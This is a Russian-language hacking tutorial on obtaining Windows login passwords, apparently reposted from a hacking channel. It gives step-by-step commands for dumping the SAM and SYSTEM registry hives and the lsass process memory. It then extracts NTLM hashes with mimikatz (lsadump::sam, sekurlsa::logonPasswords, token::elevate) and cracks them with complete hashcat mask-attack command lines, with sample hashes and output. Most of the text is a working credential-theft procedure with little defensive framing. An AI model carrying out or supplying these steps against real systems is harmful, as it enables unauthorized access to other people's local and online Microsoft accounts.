Как взломать пароль Windows

Как взломать пароль Windows

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

В этой статье мы узнаем, где в Windows хранится пароль пользователя, как извлечь данные для взлома пароля Windows, как раскрыть пароль пользователя и как их использовать даже без брут-форса. 

Не каждый пользователь использует пароль на Windows — особенно редко пользователи устанавливают пароль на домашнем компьютере, за которым работает один человек. Но в условиях корпоративной сети или при использовании Windows в качестве сервера, пароль является обязательным. Ещё одно интересное свойство пароля пользователя Windows: если пользователь завёл онлайн учётную запись Microsoft, то хеш пароля всё равно хранится на локальном компьютере, но расшифрованный пароль подойдёт и для локального компьютера, и для онлайн сервисов Microsoft. 

Где Windows хранит пароль входа пользователя? 

Пароли пользователей Windows хранятся в кустах (hives) реестра Windows под названием SYSTEM и SAM в файлах: 

  •  C:/Windows/System32/config/SAM 
  •  C:/Windows/System32/config/SYSTEM 

Вместо пароля в виде простого текста, Windows хранит хеши паролей. Эти хеши легко поддаются брут-форсу, но даже без взлома хеши паролей Windows можно использовать для сбора данных и выполнения атак. 

Как получить хеши паролей Windows 

Дамп хешей паролей Windows на работающем компьютере 

На запущенной системе проблематично получить доступ к файлам C:/Windows/System32/config/SAM и C:/Windows/System32/config/SYSTEM, хотя это и возможно. Для сохранения копий этих файлов можно использовать утилиту reg, а именно следующие команды: 

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

В некоторых инструкциях вместо SYSTEM сохраняют куст SECURITY — это ошибка, с кустами SECURITY и SAM восстановить хеш не удасться, нужны именно SYSTEM и SAM

Хеш пароля также содержится в оперативной памяти, а именно в процессе Local Security Authority Process (lsass.exe). Этот процесс всегда запущен в работающей Windows и можно сделать его дамп (копию процесса в оперативной памяти сохранить на диск в виде файла). Для создания дампа можно использовать различные утилиты, в том числе две официальные: 

  •  ProcDump 
  • Диспетчер задач 

Диспетчер задач уже имеется в каждой Windows, чтобы его открыть нажмите Win+r и наберите taskmgr, затем нажмите ENTER. Либо правой кнопкой мыши нажмите на панель задач (то есть на нижнюю полоску, где находятся часы, кнопка пуск и т. д.) и в контекстном меню выберите «Диспетчер задач». 

В Диспетчере задач нажмите «Подробнее» и во вкладке «Процессы», в разделе «Процессы Windows» найдите Local Security Authority Process, нажмите на него правой кнопкой мыши и выберите в контекстном меню пункт «Создать файл дампа»: 

Дождитесь завершения: 

Файл будет сохранён по пути C:\Users\ПОЛЬЗОВАТЕЛЬ\AppData\Local\Temp\lsass.DMP. У меня имя пользователя MiAl и путь до файла C:\Users\MiAl\AppData\Local\Temp\lsass.DMP

Дамп хешей паролей Windows на выключенном компьютере 

На выключенном компьютере для последующего извлечения пароля пользователя достаточно скопировать файлы: 

  •  C:/Windows/System32/config/SAM 
  •  C:/Windows/System32/config/SYSTEM 

Эти же файлы можно найти в резервной копии Windows или в Shadow копии диска, либо скопировать загрузившись с Live системы. 

Чем различаются хеши NTLM и NTLMv1/v2 и Net-NTLMv1/v2 

Сейчас мы будем охотиться за хешем NTLM

На самом деле, NTLM и NTLMv1/v2 это довольно разные вещи. Хеш NTLM хранится и используется локально, а хеши NTLMv1/NTLMv2 используются для сетевой аутентификации и являются производными хеша NTLM. Используя любой из этих хешей можно расшифровать пароль пользователя Windows, но это разные алгоритмы шифрования/взлома. 

Для атаки Pass-the-hash (мы рассмотрим её в этой статье) применим только хеш NTLM, а хеши NTLMv1/NTLMv2 не подходят. 

Остался ещё один вопрос, что такое хеши Net-NTLMv1/v2. Хеши Net-NTLMv1/v2 это сокращённое название для хешей NTLMv1/v2, то есть NTLMv1/v2 и Net-NTLMv1/v2 это одно и то же. А NTLM это другое. 

В этой статье мы будем извлекать, взламывать и эксплуатировать без взлома хеш NTLM

Что такое mimikatz 

Программа mimikatz хорошо известна за возможность извлекать пароли в виде простого текста, хеши, ПИН коды и тикеты kerberos из памяти. mimikatz также может выполнять атаки pass-the-hash, pass-the-ticket или строить Golden тикеты. 

В этой инструкции мы рассмотрим только способность mimikatz извлекать хеши NTLM. Помните, у mimikatz есть и другие очень интересные функции — посмотрите, какая у неё обширная справка: https://kali.tools/?p=5342 

Имеются реализации mimikatz в Meterpreter & Metasploit, DLL reflection в PowerShell и других продуктах. В принципе, mimikatz можно запускать в Wine на Linux, но не будут работать функции, связанные с извлечением данных непосредственно из Windows; функции извлечения хешей из дампов или расшифровки из файлов реестра должны работать в Linux. 

Как установить mimikatz в Windows 

mimikatz — это портативная утилита командной строки. То есть установка не требуется, но нужно уметь запустить, если вы не очень знакомы с командной строкой. 

1. Перейдите на страницу https://github.com/gentilkiwi/mimikatz/releases, скачайте файл mimikatz_trunk.7z или mimikatz_trunk.zip. Распакуйте скаченный архив. 

2. Откройте PowerShell (Win+x → Windows PowerShell (администратор)) или командную строку (Win+r → cmd). 

3. В командной строке с помощью команды cd перейдите в папку с исполнимым файлом mimikatz.exe. К примеру, архив распакован в папку C:\Users\MiAl\Downloads, тогда исполнимый файл будет в папке C:\Users\MiAl\Downloads\mimikatz_trunk\x64\

cd C:\Users\MiAl\Downloads\mimikatz_trunk\x64\

4. Запустите исполнимый файл. 

.\mimikatz.exe

Как извлечь хеш пароля пользователя NTLM из файлов реестра 

Следующие команды нужно выполнять в консоли mimikatz

Команда log включает запись всего вывода в ФАЙЛ: 

log ФАЙЛ

К примеру, для запуска всего вывода в файл hash.txt:

log hash.txt

Я скопировал с выключенного компьютера файлы SYSTEM и SAM, теперь для извлечения хеша мне нужно запустить команду вида: 

lsadump::sam /system:C:\путь\до\SYSTEM /sam:C:\путь\до\SAM

Пример моей команды: 

lsadump::sam /system:C:\Share-Server\files\SYSTEM /sam:C:\Share-Server\files\SAM

Пример вывода: 

Вывод довольно обширный и много не до конца понятных данных. Интерес представляют последовательно идущие строки вида: 

User : ПОЛЬЗОВАТЕЛЬ
Hash NTLM: ХЕШ

В моём примере интересные строки: 

User : ShareOverlord
  Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6
 
User : Alexey
  Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Также есть строки с именами пользователей:

User : MiAl
User : Администратор

Но после них нет строк с хешем NTLM, поскольку у этих пользователей не установлен пароль в системе. 

Если вы хотите извлечь данные из файлов реестра текущей операционной системы, то выходим из mimikatz, для этого нажмите Ctrl+c

Теперь сделаем дамп кустов реестра SYSTEM и SAM текущей системы: 

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

Вновь запускаем mimikatz: 

.\mimikatz.exe

Включаем ведение журнала:

log hash-local.txt

И выполняем команду с указанием файлов, в которые сохранены дампы кустов реестра, то есть SystemBkup.hiv и SamBkup.hiv

lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

Пример вывода: 

Здесь найден только один пользователь с хешем: 

User : Администратор
  Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

На самом деле, для извлечения хешей NTLM из локальной системы необязательно было делать дамп кустов реестра. Другой вариант — повысить привилегии самой программы mimikatz и извлечь хеши непосредственно из системы. Для этого выполните команды: 

privilege::debug
token::elevate
log hash-local2.txt
lsadump::sam

Извлечение хеша NTLM из дампа lsass.DMP 

По логике (и на практике) в дампе процесса Local Security Authority Process должен быть хеш только пользователя, выполнившего вход с паролем. 

Вначале укажите путь до файла дампа командой вида: 

sekurlsa::minidump C:\путь\до\lsass.DMP

Например: 

sekurlsa::minidump C:\Share-Server\files\lsass.DMP

Затем выполните команду: 

sekurlsa::logonPasswords

Брут-форс хеша NTLM 

Для взлома я возьму следующий хеш: 

User : Alexey
Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Загляним в справку Hashcat, чтобы узнать номер режима хеша NTLM: 

1000 | NTLM | Операционные системы

То есть номер хеша NTLM равен 1000

Чтобы запустить атаку по маске для взлома NTLM в Hashcat нужно выполнить команду вида: 

hashcat -m 1000 -a 3 'ХЕШ' МАСКА

Пример моей реальной команды: 

hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1

В этой команде: 

  •  hashcat — имя исполнимого файла. В Windows это может быть hashcat64.exe. 
  •  --force — игнорировать предупреждения 
  •  --hwmon-temp-abort=100 — установка максимальной температуры, после которой будет прерван перебор, на 100 градусов Цельсия 
  •  -m 1000 — тип хеша NTLM 
  •  -D 1,2 — означает использовать для взлома и центральный процессор, и видеокарту 
  •  -a 3 — означает атаку по маске 
  •  -i — означает постепенно увеличивать количество символов в генерируемых паролях 
  •  --increment-min 1 — означает начать с длины маски равной единице 
  •  --increment-max 10 — означает закончить перебор при длине маске равный десяти 
  •  -1 ?l?d — пользовательский набор символов номер 1, в него включены маленькие латинские буквы (?l) и цифры (?d) 
  •  ca76a176340f0291e1cc8ea7277fc571 — хеш для взлома 
  •  ?1?1?1?1?1?1?1?1?1 — маска из пользовательского набора символов 

Взломаем ещё один хеш:

User : Администратор
Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

Команда (другой хеш и другой набор пользовательских символов): 

hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1

Источник

Report Page